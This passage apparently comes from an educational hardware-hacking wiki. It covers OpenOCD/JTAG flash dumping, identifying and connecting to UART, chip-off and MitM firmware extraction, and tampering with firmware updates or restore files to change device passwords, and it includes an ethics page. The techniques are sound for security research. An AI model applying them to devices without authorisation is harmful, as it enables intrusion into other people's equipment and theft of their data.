1. Once imported, Ghidra will prompt to analyze the binary. Accept the defaults or customize the analysis options. 4. Exploring the Disassembly 1. Use the Code Browser to navigate through the disassembled code, viewing functions, variables, and control flow. 5. Decompiling 1. Select a function and use the decompiler view to see a high-level representation of the code, which is easier to understand. ## Resources \*[Ghidra Website](https://ghidra-sre.org/) \*[Ghidra Git repository](https://github.com/NationalSecurityAgency/ghidra/releases) # OpenOCD ## **Theory** OpenOCD (Open On-Chip Debugger) is an open-source debugging tool designed primarily for embedded systems. It is widely used by hardware developers and penetration testers alike to communicate with and control the internals of microcontrollers (MCUs) and System-on-Chips (SoCs). It provides debugging, in-system programming, and boundary-scan testing functionalities. OpenOCD connects to hardware using various communication interfaces such as JTAG (Joint Test Action Group), SWD (Serial Wire Debug), or similar protocols, which are typically used for debugging and flashing firmware on microcontrollers. With OpenOCD, a user can interact with a target device at a low level, controlling registers, memory, and other essential hardware features. This can be useful in hardware hacking or penetration testing environments, where attackers are trying to reverse engineer or modify embedded systems to find vulnerabilities or access sensitive information. Commonly, OpenOCD is paired with GDB (GNU Debugger) to provide a rich environment for debugging embedded applications. The debugger is capable of setting breakpoints, examining memory, and stepping through code execution, enabling precise control over what is happening on the device. ## **Cheat Sheet** ```bash # Install OpenOCD on Linux sudo apt-get install openocd # Start OpenOCD with JLink debugger and STM32 target configuration openocd -f interface/jlink.cfg -f stm32h7x.cfg # Connect to OpenOCD via telnet telnet 127.0.0.1 4444 #Connect to OpenOCD via gdb gdb (gdb) target extended-remote localhost:3333 (gdb) monitor reset halt (gdb) load (gdb) continue # Halt the CPU halt # Reset and initialize the CPU reset init # Get flash memory information halt; flash info 0 # Dump the flash memory to a file halt; dump_image flashdump.bin 0x00000000 0xF90600 ``` ## **Usage** An example of using OpenOCD is dumping the firmware of a microcontroller using a JTAG interface: * Connect a JTAG programmer to the target device * Ensure proper pin alignment for TCK (Test Clock), TMS (Test Mode Select), TDI (Test Data In), TDO (Test Data Out), and GND * Install OpenOCD on your system * On a Linux system, use the following command to install it: ```bash sudo apt-get install openocd ``` * Create or download a configuration file for your target MCU or SoC * This file contains the specific instructions to communicate with the target device * Start OpenOCD with the configuration file (-f) for the interface you are using and the taregt * Example command for Jlink Debugger and a STM32 taregt: ```bash openocd -f interface/jlink.cfg -f stm32h7x.cfg ``` If everything is correct you should see output like this: ```bash Open On-Chip Debugger 0.11.0+dev-00035-g8d6f7c922-dirty (2021-03-16-19:11) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : auto-selecting first available session transport "jtag". To override use 'transport select '. adapter speed: 15000 kHz Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections Info : J-Link V9 compiled Feb 2 2021 16:34:10 Info : Hardware version: 9.30 Info : VTarget = 2.609 V Info : clock speed 15000 kHz Info : JTAG tap: stm32h7x.cpu tap/device found: 0x6ba00477 (mfg: 0x23b (ARM Ltd.), part: 0xba00, ver: 0x6) Info : starting gdb server for ath79.cpu on 3333 Info : Listening on port 3333 for gdb connections ``` * Open another terminal and connect with GDB to control the debugging session * Example command to connect GDB to OpenOCD: ``` gdb extended-remote :3333 ``` * Use GDB commands to control the microcontroller * Set a breakpoint: ```kotlin break main ``` * To dump memory or read registers etc. we can use the telnet port * Example commands: * ```bash telnet 127.0.0.1 4444 #connect to telnet halt #we can halt the cpu reset init #we can also reset and initialize it again halt; flash info 0 #get flash information # to dump the flash we use: dump_image
halt; dump_image flashdump.bin 0x00000000 0xF90600 ``` The dumped firmware can then be [analyzed](/hardware-hacking/analyze-firmware). ## Resources * [Hardware Hacking 101: Communicating with JTAG via OpenOCD](https://riverloopsecurity.com/blog/2021/07/hw-101-jtag-part3/) * [Open On-Chip Debugger: OpenOCD User’s Guide (PDF)](https://openocd.org/doc/pdf/openocd.pdf) # Mitmrouter ## MITM Router Bash script to automate setup of Linux router useful for IoT device traffic analysis and SSL mitm Tool made by [Matt Brown](https://github.com/nmatt0) ## Resources * [MITM Router Git Repository](https://github.com/nmatt0/mitmrouter) # Common Hardware Components ## **Common Hardware Components in IoT & Hardware Hacking** When performing hardware hacking or analyzing IoT devices, it’s important to understand the basic components that make up the device. Below is a quick reference guide to common hardware components. * **Capacitors** * *Function*: Store and release electrical energy. They help regulate voltage and filter noise in circuits. * *Relevance to Pentesters*: Capacitors can affect power analysis techniques, especially in side-channel attacks. They often need to be removed for that reason. * **Flash Chips** * *Function*: Non-volatile memory used to store firmware and device settings. * *Relevance to Pentesters*: Flash chips often contain firmware that can be extracted and analyzed. Tools like a flash programmer can be used to read from flash chips. * **RAM (Random Access Memory)** * *Function*: Temporary memory that stores data for quick access by the device’s processor. * *Relevance to Pentesters*: RAM often contains runtime data, and in some cases, sensitive information can be extracted for analysis, especially during volatile memory analysis in exploitation or reverse engineering. * **MCU (Microcontroller Unit)** * *Function*: A small computer on a single integrated circuit containing a processor, memory, and I/O peripherals. * *Relevance to Pentesters*: MCUs control the behavior of embedded systems. By analyzing or reprogramming MCUs, pentesters can manipulate the behavior of IoT devices. * *Common MCUs*: STM32, ESP8266, LPC1768 * **Resistors** * *Function*: Limit or control the current flow in a circuit. * *Relevance to Pentesters*: Understanding resistor configurations helps in circuit analysis, especially in reverse engineering hardware designs. * **Diodes** * *Function*: Allow current to flow in one direction while blocking it in the opposite direction. * *Relevance to Pentesters*: Diodes protect sensitive components from reverse voltage. Zener diodes, for example, regulate voltage in circuits, which is useful in power behavior analysis. * **Transistors** * *Function*: Act as switches or amplifiers, controlling large amounts of current with small inputs. * *Relevance to Pentesters*: Transistors are found in almost every circuit. Understanding how they control signals is vital when analyzing or manipulating hardware circuits. * *Types*: Bipolar Junction Transistors (BJT), Field Effect Transistors (FET), Metal Oxide Semiconductor FETs (MOSFET) * **EEPROM (Electrically Erasable Programmable Read-Only Memory)** * *Function*: Non-volatile memory used for storing small amounts of data, such as device configurations. * *Relevance to Pentesters*: EEPROMs may store critical configuration data that can be dumped for analysis or modified to change device behavior. * *Common Interfaces*: I2C, SPI * **Crystals / Oscillators** * *Function*: Provide a clock signal to synchronize operations in digital circuits. * *Relevance to Pentesters*: Crystals are key in timing-related attacks, such as clock glitching. Precise timing manipulation can sometimes lead to exploitable conditions in embedded systems. * *Types*: Quartz crystals, ceramic resonators * **Voltage Regulators** * *Function*: Maintain a constant voltage level for components in a circuit. * *Relevance to Pentesters*: Voltage regulators play a role in power analysis, especially during fault injection or brown-out attacks where system voltage stability is critical. * *Types*: Linear regulators (e.g., LM7805), switching regulators * **LEDs (Light Emitting Diodes)** * *Function*: Emit light when current passes through them. * *Relevance to Pentesters*: LEDs provide visual feedback on the state of a device. They are also often used in optical communication or data transfer for debugging. * *Common Variants*: Standard LEDs, IR LEDs * **Inductors** * *Function*: Store energy in a magnetic field when current passes through them. * *Relevance to Pentesters*: Inductors are important in power circuits and can affect power analysis attacks. They are often found in combination with capacitors in filters or oscillators. * **Push Buttons / Switches** * *Function*: Allow manual control of circuits by opening or closing an electrical connection. * *Relevance to Pentesters*: Buttons or switches are common on IoT devices for user input or reset purposes. Manipulating them at the right time during the boot process could bypass security mechanisms. * **Connectors (e.g., JTAG, UART, USB)** * *Function*: Provide a physical interface for communication between hardware devices or for debugging purposes. * *Relevance to Pentesters*: Connectors like JTAG and UART give direct access to the internal functioning of a device. Understanding these interfaces helps in gaining control over hardware or extracting sensitive data. * *Common Interfaces*: JTAG, UART, I2C, SPI * **Jumpers** * *Function*: Small connectors used to manually set configurations or routes on a circuit board by connecting specific pins. * *Relevance to Pentesters*: Jumpers are often used to enable or disable features of a device, such as entering debug or boot modes. Adjusting jumpers can help pentesters gain access to restricted areas or manipulate boot settings. * **eMMC (embedded MultiMediaCard)** * *Function*: Non-volatile memory used for mass storage in embedded systems. It combines flash memory and a controller in one package. * *Relevance to Pentesters*: eMMC is often used to store operating systems, firmware, or sensitive data in IoT devices, similar to SD cards. Pentesters may use eMMC readers to dump the contents for analysis, extracting valuable information such as passwords, encryption keys, or firmware. # Firmware Extraction Methods ## Firmware Extraction Methods Firmware is the software embedded in a device's hardware, often critical for its operation. Extracting and analyzing it is crucial to understqnd the device's functionality and structure and establish a foothold by analysing, through methods of reverse engineering, or modifying the firmware and reflashing a device. But before you fire up [Binwalk](/hardware-hacking/basics/tools/software-tools/binwalk) or [Ghidra](/hardware-hacking/basics/tools/software-tools/ghidra) and start analyzing, reversing and establishing your foothold, you first need to obtain the firmware itself. Obtaining the firmware from devices can be done in several different ways. Depending on the target device, firmware can be extracted through physical, semi-physical, or software-only methods. This page covers both invasive and non-invasive approaches. ### Non-Invasive Methods These methods do not involve opening or physically tampering with the device and are often less risky. #### Downloading from the Manufacturer Website Manufacturers often host firmware files on their official websites for manual updates. **Tools** For this method there are no specific tools required, however you can benefit from a proficiency in techniques such as `google dorking` and others detailed within the Reconaissance chapter **Steps of retrieving the software from the Manufacturer Website** 1. Search the vendor’s website or forums for downloadable firmware. 2. Simply download or use tools like wget to scrape and download files if necessary. 3. Verify the downloaded file’s integrity and match its expected format. {% hint style="warning" %} These firmware could be malicious or in unexpected formats. Be wary when downloading firmware from sources you do not trust 100%, always take precautionary measures when retrieving binaries or files in general from forums or website. {% endhint %} #### MitM Attack on the Update Process Many devices update their firmware via OTA updates. Capturing these updates can provide the firmware file. Although many devices use HTTPS, complicating the process of intercepting, it is still possible if you are able to intercept the certificates **Tools required** * Packet capture tools (e.g., Wireshark) to monitor and intercept update traffic. * Proxies (e.g., mitmproxy, [mitmrouter](/hardware-hacking/basics/tools/software-tools/mitmrouter)) to redirect and inspect update requests and device network traffic. **Steps of a MitM attack on the OTA update process** 1. Set up a network sniffer or proxy. 2. Place the device on the same network and trigger an OTA update. 3. Capture the firmware file during download. TODO: add practical example #### Dumping Firmware through a Vulnerability Exploiting a vulnerability in the device’s software or configuration to access and dump firmware. **Tools** * Vulnerability scanning tools (e.g., Nessus, Nmap). * Custom scripts or exploit frameworks. **Steps** 1. Identify vulnerabilities in the device’s firmware or communication. 2. Use appropriate tools or scripts to exploit the vulnerability and gain a foothold on the device and/or retrieve the firmware. TODO: add practical example ### Semi-Invasive Methods These approaches require minimal physical interaction with the device but stop short of full disassembly. #### Exposed interfaces **Tools** Depending on the interface that is exposed, various different tools might be required: * USB-to-UART adapters. * Debugging software (e.g., [OpenOCD](/hardware-hacking/basics/tools/software-tools/openocd) for JTAG). **Step to extracting the firmware through an exposed interface** 1. Locate debug interfaces on the device’s casing or accessible panels. 2. Use appropriate tools and protocol to interact with the interface and extract the firmware as detailed within the various pages below: * [UART](/hardware-hacking/interface-interaction/uart/extract-firmware-using-uart) * [SPI](/hardware-hacking/interface-interaction/spi/extract-firmware-using-spi) * [JTAG/SWD](/hardware-hacking/interface-interaction/jtag-swd/extract-firmware-using-jtag-swd) * [I2C](/hardware-hacking/interface-interaction/i2c) ### Invasive Methods These methods involve opening the device and physically interacting with the components on the board. These usually involve desoldering the component, rendering it unusable, unless perfectly reassebled. Use these invasive methods only when non-invasive methods fail, and you have permission to "break" the device. {% hint style="info" %} There is a fine line between the semi-invasive methods and the invasive methods, especially for the non-BGA packages. It might be possible to open up the device and read out the contents of a chip without desoldering anyting, but using something like a clip adapter. This adapter makes it possible to just apply it over the chip and already interact with the flash chip on the device without the need for desoldering. {% endhint %} {% hint style="warning" %} Do keep in mind that interacting in the way as described above, may power the chip when doing the actual reading, leading to possible loss of data, malfunction or unwanted behaviour. {% endhint %} #### Introduction to Chip Packages: Knowing what chip you have on the device is essential to knowing which reader and extraction method you may or may not need to use when you are attempting to perform a chip-off extraction. A few of the most common package types are listed below ToDo: add a note/guide on how to identify the chip type (datasheet, marking, visual) {% tabs %} {% tab title="TSOP Package" %} ``` TSOP (Thin Small Outline Package): A type of rectangular IC package where pins extend outward on both sides. It is commonly used for flash memory chips. ToDo: add images and examples of different package sizes of TSOP packages ``` {% endtab %} {% tab title="QFP Package" %} ``` QFP (Quad Flat Package): A flat, square IC package with pins extending on all four sides, ideal for high-density chip designs. ToDo: add images and examples of different package sizes of QFP packages ``` {% endtab %} {% tab title="BGA Package" %} ``` BGA (Ball Grid Array): A package type with connections in the form of solder balls on the underside of the chip, allowing for higher pin density but requiring specialized tools for handling. ToDo: add images and examples of different package sizes of BGA Packages ``` {% endtab %} {% tab title="UFS BGA Package" %} ``` UFS (Universal File Storage) chips use the BGA packaging style but are specifically designed for high-speed data storage applications like smartphones and automotive systems. They are complex to read out and require specialized readers to decode the more advanced protocols ToDo: add images and examples of different package sizes of BGA Packages ``` {% endtab %} {% endtabs %} #### Chip-Off Extraction of a QFP, TSOP, and Other Non-BGA Packages Non-BGA packages are generally easier to desolder and interface with. They are less technically demanding and require minimal specialized equipment **Tools:** * Chip readers and programmers (e.g. Xgecu T56). * Hot air stations or chip removal tools. **Steps to perform a chip-off extraction of a non-BGA package** 1. Desolder the chip using a hot air station or similar tool. 2. Place the chip in a compatible reader and dump the contents. {% hint style="warning" %} * Ensure proper orientation and connection during the reading process. (possibly label the orientation) * Avoid overheating the chip to prevent data loss. {% endhint %} #### Chip-Off Extraction of a BGA-Package Flash Chip Performing a chip-off extraction with BGA-packaged flash chips require more advanced tools and expertise. **Tools** * Rework station with precise temperature control for BGA chip removal. * Soldering Flux * BGA chip readers and adapters. * Optional & Advanced: Infrared rework stations for precise temperature control. **Steps to perform a chip-off extraction of a BGA package** * Precaution: Preheat the board to reduce thermal stress. * Apply soldering flux to the area of the chip * Remove the BGA chip carefully using a rework station (with precise temperature control). * Use a specialized adapter to connect the chip to a reader and extract the data. #### Chip-Off Extraction of UFS Flash in BGA Package {% hint style="info" %} UFS Flash Chips are a newer counterpart to the eMMC chips that we usually see. as of this moment they are quite rare and require a dedicated programmer to read these out (e.g. [UFI-UFS Prog Tool Suite](https://www.ufi-box.com/pages/ufi-ufs-prog)) {% endhint %} ToDo: Add logical next blocks # Ethics This page is less technical, but not less important. The techniques taught here should only be used for educational purposes. ## General Principles * Limit your hacking to devices you own or have explicit permission to modify. * Avoid accessing or altering others' data without explicit permission, even during research. * Follow laws related to reverse engineering, hardware hacking, and security research in your area. * If you're researching someone else's device or network, make sure you have their written consent. ## Good Practices * Always notify manufacturers or vendors about vulnerabilities you discover. Give them time to fix the issue before making details public. ([Responsible Disclosure](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html)) * Share guides, findings, and tools in ways that help the community without making it easy for them to be misused. ([How to contribute](/contribute/how-to-contribute)) ## What to Avoid * Don't use your skills to harm, disrupt, or exploit systems or individuals. * Avoid manipulating or interfering with other people’s equipment without their consent, like messing with public displays. * Stay away from selling vulnerabilities, exploits, or tools to unethical buyers. ## Positive Contributions * Use your findings to educate others about security risks and encourage better practices. * Contribute to the community by sharing fixes, guides, or improvements that encourage ethical hacking. * Work with manufacturers or organizations to help resolve issues you uncover. ## Resources [Responsible Disclosure](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) # Reconnaissance In this chapter we demonstrate on how to enumerate a device. It makes sense to follow a top down approach and start analyzing from the outside first before opening a device. Opening a unknown device comes always at the risk of triggering a tamper protection or damaging it. Even without opening the device we can already identify potential weaknesses. ## Overview * Closed device * OSINT: * search the web for public information * use FCCID.io to get internal pictures of your device * Investigate USB Ports / SD-card * Opened device * Board Analysis: * Things to look out for on the PCB: * How to identify test pads as potential debug interfaces * component identification (flash chips, MCUs, wireless modules) # Closed device # OSINT (search the web) OSINT (Open Source Intelligence) is the practice of collecting information from publicly available resources. In the context of IoT (Internet of Things) devices, this refers to gathering intelligence from a variety of sources to understand the ecosystem, identify potential vulnerabilities, or profile devices connected to networks. OSINT for a device is often overlooked. What to look for: ### **1. Documentation** * Manufacturers release documentation detailing device functionalities. * Key actions include Backup, USB Port usage, and Firmware Updates.

Search for user manuals or documentation of your target

### **2. Firmware Updates** * Public firmware may be available on manufacturers' websites. * Allows for reverse engineering without dumping firmware directly from the device.

Example: Netgear offers free firmware downloads

### **3. Default Credentials** * Devices often come with default credentials that are easily exploitable, check websites for them * A great database of default passwords can be found on [Github](https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv) ### **4. Lookout for CVEs and blogs** * Community forums may reveal unreported vulnerabilities. * Security research papers can highlight known exploits and weaknesses. * Search on [CVEdetails](https://www.cvedetails.com/) for your target or vendor ### 5. FCC ID * If your device can transmit data over radio frequencies and is sold in the USA, it requires an FCC ID * Often you can find it somewhere on the device label:

FCC ID found

* On you can search the FCC ID and will get documentation, external photos and very interesting for us: Internal photos

Internal Photos of target device

* Here an example, where we can already spot a potential debug interface:

Potential UART found on FCC picture

# USB Ports / SD-card In IoT devices, USB ports and SD card slots are commonly used for tasks such as firmware updates, data storage, and system configuration. USB ports often serve as an interface for connecting peripherals, debugging hardware, or performing maintenance tasks like resetting or updating the device's software. SD cards are frequently employed as storage media for logging sensor data, storing system configurations, or holding boot images, especially in embedded systems with limited onboard memory. These interfaces provide convenience and expandability but also introduce potential security risks if not properly secured, as they allow physical access to the device’s core functions. ## Usage Check in the manual which functionality the USB-Port or SD-card might have: * Updating firmware or applying patches to keep the device’s software current. * Transferring data between the IoT device and external systems or peripherals. * Facilitating debugging and diagnostics by providing access for troubleshooting tools. * Connecting external peripherals like cameras, sensors, or keyboards to expand functionality. * Enabling network access through a USB-to-Ethernet adapter when built-in Ethernet is unavailable. * Connecting hardware security tokens or dongles for secure access or authentication. How to analyze: 1. You should use USBPcap to intercept the data which is transferred over the USB port 1. you could intercept a firmware update or other sensitive data 2. Can you try to manipulate the data? 1. try change passwords etc. 3. Is the USB Port used as a COM Port? 1. Try to connect to it using Putty (Windows) or minicom(Linux) ## Firmware Updates Firmware updates are especially interesting, since they contain all the code of the device. In manuals there is often a method described how to update the firmware of the IoT device over USB or SD. If the integrity of the firmware update is not checked, you can try to manipulate the update (for example changing passwords). ## Backup and Restore Functions You should also check if there are backup or restore functionalities implemented. If you can back up the device's configuration to an USB stick / SD card, then you might extract sensitive information from it. If you can restore the configuration from a file on a USB stick / SD card then you may manipulate sensitive data like passwords in the config. If the integrity of the restore file is not checked, the known passwords will then be used by the IoT device. # Opened device # Board Analysis It's important to take your time to enumerate the PCB you want to test. Overlooking components or interfaces can waste a lot of time. To analyze a PCB board, you need: * Multimeter * a camera/phone can be useful What we are looking for: * places where information may be stored * places where we can communicate with the device * places where we can intercept communication These components of interest could be: {% tabs %} {% tab title="Test Pins/Pads" %} * Why it’s interesting * Interfaces like UART, SPI, I2C, and JTAG allow communication between components and can offer access to debugging or internal system states. * Pentesting focus * Can give debugging access, unauthorized data interception, or to bypass authentication mechanisms * Examples: * Sometimes pins are directly exposed:

Header-pins exposed

* Sometimes there also available as golden/silver test pads:


Todos: * Identify what connector pins you find (if they are not labeled) * Put your multimeter in continuity mode (often a "sound" symbol):
* This mode will check if there is a direct link between two points on the pcb * Put one probe on the connector pad you want to test and the other one goes on the chip (datasheet will tell you what pins are used for UART/SPI/JTAG)

How to probe

* Try to identify all required pins for the corresponding protocol. * If you can't use the microchips pins as reference (for example if it's a BGA chip or if there is no datasheet) you can check the voltage of the pins: * High constant (around 3.3V or 5V) indicates VCC * If the voltage fluctuates this may indicate data transmission (try a [Logic Analyzer](/hardware-hacking/basics/tools/hardware-tools/logic-analyzer)) * Zero voltage indicates GND {% endtab %} {% tab title="MCUs" %} * Why it’s interesting * These are the "brains" of the device, containing firmware and handling communication between components. Vulnerabilities in their firmware or boot process can be exploited to bypass security measures. * Pentesting focus * Identify debug interfaces (e.g., JTAG, SWD), probe for firmware extraction, inspect for vulnerabilities in the bootloader or firmware updates. * Example

Example MCU

* Todos: * google the chip name (here STM32H7B0) and search for the datasheet * inside the datasheet look how to communicate with the chip: JTAG/UART/SPI etc. * identify these pins on the PCB and check where they are going {% endtab %} {% tab title="Memory chips" %} like Flash, EEPROM, RAM * Why it’s interesting * These store sensitive information such as firmware, encryption keys, and user data. Analyzing memory chips can help retrieve critical data or alter firmware. * Pentesting focus * Direct access to these chips for firmware dumping, encryption key recovery, or manipulating stored data (e.g., via SPI or I2C interfaces). * Example: * They come in different sizes and chapes

Flash chip

* Todos: * google the chip name and search for the datasheet * inside the datasheet look how to communicate with the chip: I2C/SPI etc. * identify these pins on the PCB * check the section "Extracting Firmware using SPI" {% endtab %} {% tab title="External Ports" %} USB ports, Ethernet ports or SD card slots are also of interest for us. This part should have been done before opening the device. Check "[closed device](/hardware-hacking/reconnaissance/closed-device)" section. * Why it’s interesting * These ports are common attack vectors for injecting malicious payloads or gaining unauthorized access. * Pentesting focus * Inspect for insecure configurations, vulnerabilities in firmware updates via USB, and potential exploitation through interface protocols. {% endtab %} {% tab title="Wireless modules" %} like Wi-Fi, Bluetooth, RF, ZigBee * Why it’s interesting * Wireless communication modules can introduce vulnerabilities like insecure transmission, poor encryption, or weak authentication. * Pentesting focus * Analyze for improper configuration, sniff traffic, and perform wireless-based attacks like jamming or eavesdropping.\\ Example GSM-module:
{% endtab %} {% endtabs %} I also recommend taking a high quality photo as soon as you open the device, as the printed model numbers can fade in daylight over time. You can then label the identified components on the picture, which will help you remember components you've already looked up. Pictures with labeled components might look like this:

Labeled components

We should also remove any covers/labels/shields so we can identify the underlaying hardware:

Underlaying Hardware

# Interface Interaction You could identify potential interfaces for UART/JTAG/SWD/SPI etc.? Great! In this chapter we discuss on how to verify potential debug interface candidates and how to use them to extract data or even the complete firmware from the target device. # UART This page gives a general overview about UART. Checkout the subpages on how to identify UART, how to connect and extract firmware from it. ## **Theory** UART is a hardware communication protocol that facilitates serial communication between devices. It is commonly used in IoT /embedded systems for communication between a microcontroller and peripherals like sensors, GPS modules, or Wi-Fi modules. It is also used for debugging porpuses like printing out the bootlog or even give direct shell access to the device. UART operates on two main lines: Transmit (TX) and Receive (RX), often accompanied by Ground (GND). Pentesters may encounter UART interfaces during hardware hacking and can use this interface to extract firmware, debug, or interact with the device at a low level. ### Cheat Sheet ```python #Usage UART is an async protocol, which is often used as a bootlog output or a console #pins to connect to uart you need 3 pins: TX,RX and GND #Tools needed check UART-to-TTL adapter (connect TX=>RX, RX=>TX, GND=>GND) #baud rates most common 9600, 38400, 19200, 57600, 115200 else try: Baudrate.py on Github #connect to UART minicom -b 115200 -o -D /dev/ttyUSB0 #extract firmware try to interrupt the bootloader to jump into a bootloder shell like U-BOOT search for credentials of your device to login ``` ### Configuration UART can be configured in many different ways. Next, we want to introduce some key settings. #### 1. **Baud Rate** * The baud rate is the speed at which data is transmitted, measured in bits per second (bps). Common baud rates include 9600, 19200, 38400, 57600, and 115200 bps. * Both devices communicating over UART must use the same baud rate. If there's a mismatch, data may become garbled. #### 2. **Data Bits** * This setting determines the size of each data packet. Common configurations are 7 or 8 data bits, with 8 being the most common. * More data bits can carry more information per packet, but it also affects overall speed since each data frame becomes larger. #### 3. **Parity** * Parity is a form of error checking. The parity bit (if used) helps detect data corruption: * **None**: No parity bit is used (most common). * **Even**: The parity bit is set to make the total number of 1s in the frame even. * **Odd**: The parity bit is set to make the total number of 1s in the frame odd. * Parity is useful for simple error checking but doesn’t catch all errors. #### 4. **Stop Bits** * Stop bits indicate the end of a data packet and help the receiver recognize the start and end of each frame. * Common configurations are 1 or 2 stop bits, with 1 stop bit being standard in most UART communications. #### 5. **Flow Control** * Flow control ensures smooth data transfer, especially when one device sends data faster than the other can process it. The main types are: * **None**: No flow control; data flows freely (used when the receiving device can keep up with incoming data). * **Hardware (RTS/CTS)**: Uses Request to Send (RTS) and Clear to Send (CTS) pins to control data flow. When the receiver is ready, it signals the transmitter via the CTS line. * **Software (XON/XOFF)**: Uses special characters (XON to resume, XOFF to pause) embedded in the data stream to control data flow. #### 6. **Other Configuration Options** * Break Condition * A longer-than-usual period of low voltage to signal an intentional break in communication, used as a control signal in some setups. * Idle State * Defines the line’s resting state when no data is transmitted, usually set to a high voltage. ## **Requirements** 1. Hardware * UART Adapter (USB-to-UART module such as FTDI, CH340, or CP2102) * Jumper wires * Multimeter (for checking pin continuity and voltage levels) * Soldering kit (if pins need to be exposed) 2. Software * Serial terminal programs like: * `minicom` (Linux) * `PuTTY` (Windows) * `screen` (macOS/Linux) * `picocom` (Linux) * Baud rate detection tools: * `baudrate.py` script or any other baud rate analyzer. ## **Usage** 1. UART Discovery * Often, UART ports are not labeled on the board. Use a multimeter to identify GND, then trial and error to locate RX/TX pins. Connect them to your UART-USB adapter using jumper cables. Command Example (minicom,screen) ```bash minicom -b 115200 -o -D /dev/ttyUSB0 #/dev/ttyUSB0 = your adapter screen /dev/ttyUSB0 115200 ``` This opens a serial session on `/dev/ttyUSB0` at a baud rate of 115200, a common default for UART devices. 2. Baud Rate Detection (optional, you can also just try common ones: 115200, 9600 etc.) * Devices might communicate at different baud rates. Incorrect baud rates lead to garbage data on the terminal. Command Example ```bash python baudrate.py -p /dev/ttyUSB0 ``` This script tests various baud rates to find the correct one. 3. Firmware Extraction * UART can be used to extract firmware if the bootloader allows access to memory dumps. * check the "Firmware extraction using UART" section 4. Debugging and Command Injection * Some devices leave debug interfaces open on UART, which can allow pentesters to gain shell access or inject commands. 5. Bricking/Unbricking a Device: * UART access may allow you to recover a bricked device by flashing new firmware or interacting with the bootloader. ## Resources * [Getting Started With Minicom](https://wiki.emacinc.com/wiki/Getting_Started_With_Minicom) * [Accessing and Dumping Firmware Through UART](https://www.cyberark.com/resources/threat-research-blog/accessing-and-dumping-firmware-through-uart) # Identify UART This page should will teach you how to identify an [UART](/hardware-hacking/interface-interaction/uart) interface. If you already confirmed the found debug connector is using UART you may continue with[ Connect to UART](/hardware-hacking/interface-interaction/uart/connect-to-uart). To interact with a UART interface, you would need: * A multimeter * an USB to UART TTL adapter * jumper cables * and in some cases: a soldering station After opening the device follow the following steps to identify UART. ## **Get an overview** 1. Checkout which chips are used 1. Google the datasheet of each chip you find (model should be printed on top of the chip) 2. It can be useful to take a picture of the PCB and label everything you can identify

Example layout of an PCB

2. Check for connector or test pads 1. For UART we need pins: TX,RX,GND often manufacturers also put a VCC pin next to power the device. So we are looking for 4 pads or pins on the PCB board, like here:

Potential UART pins

1. Even better if we find actual pins, where we can connect jumper cables to:

Uart pins exposed

## **Test potential UART pins** To verify if the identified pins are UART, we can use a multimeter. The simplest approach is to test for continuity between the suspected pins and the known UART pins on the MCU, as indicated in its datasheet. However, if the MCU has a BGA layout with pins beneath the chip, this method won't work. In such cases, measuring the voltage of the suspected pins can help make an educated guess to identify the correct ones. {% tabs %} {% tab title="Continuity test" %} The first step is to put your multimeter in continuity mode (often a "sound" symbol). This mode will check if there is a direct link between two points on the PCB

Multimeter in continuity mode

Next we need identify a reference point to check against. Luckily manufacturers provide us often with datasheets of their MCUs, which include the pinout of the chip. So google your chip and find the TXD, RXD pins in the datasheet, like here:

Example UART pins

Now we can start our continuity test: * Put one probe on the connector pad you want to test * The other one should be on the exact pin on the chip (RX or TX). * It should look like this:

How to probe

If you hear a BEEP, then there is a direct link between the pin and the pad you checked. You need to find the GND (ground), TX (transmit) and RX(receive) pins to communicate with UART. {% endtab %} {% tab title="Voltage test" %} Try this technique when booting up the device, as the device will print out a lot of stuff over UART and we can therefore identify RX and TX better. \ If you can't use the microchips pins as reference (for example if it's a BGA chip or if there is no datasheet) you can check the voltage of the pins: * High constant (around 3.3V or 5V are the most common) indicates VCC * If the voltage fluctuates this may indicate data transmission and therefore the TX pin of the chip (reminder: has to be connected to RX on your UART adapter NOT TX) * Zero voltage indicates GND * Depending on the UART configuration the RX pin is either idle high or idle low, so it is not so easy to differentiale it from GND or VCC Here a summary: | Voltage Range | Signal | | --------------------- | ------ | | 3.3V-5V Vcc | Vcc | | 1.7-2.5V (fluctuates) | Tx | | 0-0.004V OR 3.3-5V | Rx | | 0V | GND | | {% endtab %} | | {% tab title="Restance check" %} Another method is to check the resistance of each test pad against GND. Here would be the expected values, but it also is depending on the configuration: | Resistance | Signal | | ----------------------------------- | ------ | | ∞ | Vcc | | \~80k℩ | Tx | | \~12k℩ | Rx | | 0℩ (should beep in continuity mode) | GND | | {% endtab %} | | | {% endtabs %} | | ## Next Step If you could identify all the needed pins, you may now [Connect to UART](/hardware-hacking/interface-interaction/uart/connect-to-uart). ## Resources \*[Hardware Hacking: Finding UART Pinouts on PCBs](https://www.secureideas.com/blog/hardware-hacking-finding-uart-pinouts-on-pcbs) \*[Hardware Hacking Experiments: Extracting Firmware from Embedded Device](https://github.com/koutto/hardware-hacking/blob/master/Hardware-Hacking-Experiments-Jeremy-Brun-Nouvion-2020.pdf) \*[Decoding the Mystery: Identifying Unlabelled UART Pins](https://redfoxsec.com/blog/decoding-the-mystery-identifying-unlabelled-uart-pins/) # Connect to UART #### At this point you should have: * Understand what UART does (if not check: [UART](/hardware-hacking/interface-interaction/uart)) * Identified UART pins (if not check:[ Identify UART](/hardware-hacking/interface-interaction/uart/uart-from-start-to-finish)) ## Connect to UART You need to find the GND (ground), TX (transmit) and RX(receive) pins to send and receive data with UART (RX pin is not required to just read data). When you connect the UART-USB adapter with the UART interface on the board, you have to connect RX and TX together like this:

Connect RX to TX and TX to RX

There are different ways to connect to identified test pads: {% tabs %} {% tab title="Pins/Holes" %} If you are lucky, you find header pins where you can connect jumper cables to it. This is the easiest way to connect your UART-to-TTL USB adapter to an UART interface.

Header pins exposed, connect jumper cables here

If your device has holes in the pcb for the UART connection, you can attempt to put jumper cables through it and tilt them, so they have a solid contact point:

Put the male pins through the connector holes

{% endtab %} {% tab title="Clamps" %} If you own clamps or grabbers, you can use them to hook them up to the UART connector. These clamps have small hooks which you can hookup to the connector. This is not very usable if you only have flat connector pads.

Clamp with Hook

Here an example when the clamps are attached:

Clamps attached

